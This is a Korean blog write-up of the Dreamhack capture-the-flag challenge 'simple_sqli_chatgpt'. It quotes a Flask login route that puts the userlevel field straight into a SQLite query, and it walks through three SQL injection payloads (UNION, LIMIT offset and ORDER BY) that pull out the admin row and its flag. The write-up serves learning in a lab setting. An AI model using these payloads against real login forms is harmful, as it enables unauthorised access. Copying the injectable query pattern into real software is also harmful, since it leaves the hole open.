WEB hacking/드림핵(dreamhack)

드림핵 simple_sqli_chatgpt WriteUp

Roronoa 2023. 9. 9. 22:02
반응형

문제 설명

[그림 1] 문제 설명

SQL Injection 문제이다.

문제 풀이

코드 해석

DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
    db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')
    db.commit()
    db.close()

1. database.db가 없을시 sqlite3.connect함수로 db생성

2. user table 생성

3. user 테이블에 값 넣음

admin만 보자면 userid는 admin, userpassword는 랜덤, userlevel은 0이다.

guest도 userlevel이 0임....

 

로그인 코드

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userlevel = request.form.get('userlevel')
        res = query_db(f"select * from users where userlevel='{userlevel}'")
        if res:
            userid = res[0]
            userlevel = res[2]
            print(userid, userlevel)
            if userid == 'admin' and userlevel == 0:
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

1. GET 전송시 login폼 띄워줌

2. POST 전송시 이제 로그인한다.

3. userlevel을 입력받고 db에서 users테이블에서 userlevel에 해당하는 놈을 찾음.

4. 만약 찾았다면 userid와 userlevel을 프린트함.

5. 만약 userid가 admin이면 flag 출력함.

여기서 중요한 키 포인트 guset, admin이 둘다 userlevel이 0인데 guest가 테이블 젤위에 있어서 userlevel에 0을 넣으면 guest를 찾아줌!! 이것을 우회해야한다.

 

일단 첫번재로 해야할것은 SQL Injection이 일어나야지 우회를 하던 말던하기 때문에 싱글 쿼터를 싹 넣어본다.

[그림 2] 싱글 쿼터 요청
[그림 3] 에러 발생

싱글 쿼터를 요청했을 경우 에러가 발생한다는 것을 알 수있다. SQL Injection을 시도해도 될것이다.

일반적인 sql 요청: select * from users where userlevel='0'

첫 번째  Payload(Union 사용)

첫 번째 payload: select * from users where userlevel='1' union select * from users where userid='admin'

UNION 구문은 두 개 이상의 select 문을 결합하는데 사용한다.

union을 사용하여 첫번째 select문에서 userlevel을 1로 설정하여 아무것도 출력이 안되도록하고, union 뒤에 select문에서 userid가 admin인것으로 출력하면 admin이 나와서 플래그를 획득할 수 있다.

두 번째  Payload(limit 사용)

두 번째 payload: select * from users where userlevel='0' or 1 limit 1,1 --'

LIMIT 구문은 결과에서 몇 개의 행을 반환할 것인지 제한하는 구문이다.

사용법
1. SELECT 컬럼명 FROM TABLE명 LIMIT 개수;

2. SELECT 컬럼명 FROM TABLE명 LIMIT offset, 개수;

1번은 개수만 제한할때 사용한다.

select * from users where userlevel='0' limit 1 을 사용하면 첫번째 행 하나만 반환한다.

2번은 offset과 개수를 설정할 수 있다.

select * from users where userlevel='0' limit 1,1을 사용하면 두번째 행 하나만 반환하는것이다.

select * from users where userlevel='0' limit 2,5을 사용하면 세번째부터 5개행을 반환하는것이다.(3, 4, 5, 6, 7 행)

따라서 select * from users where userlevel='0' or 1 limit 1,1 --'으로 두번재 행에 있는 admin을 반환한다.

세 번째  Payload(order by 사용)

세 번째 payload: select * from users where userlevel='0' order by userid='admin' desc --'

order by문은 결과를 정렬할 때 사용한다.

asc는 오름차순, desc는 내림차순이다.

select * from users where userlevel='0' 일때 테이블의 구조는 아래와 같다.

userid password userlevel
guest guest 0
admin ????????????? 0

하지만 order by userid='admin' desc 로 정렬을 할 경우 admin을 기준으로 내림차순이 되기 때문에 테이블의 구조는 아래와 같다.

userid password userlevel
admin ??????????????? 0
guest guest 0

다른 방법으로는 guest를 그냥 오름차순으로 해버리면 해결할 수 있다.

order by userid asc

반응형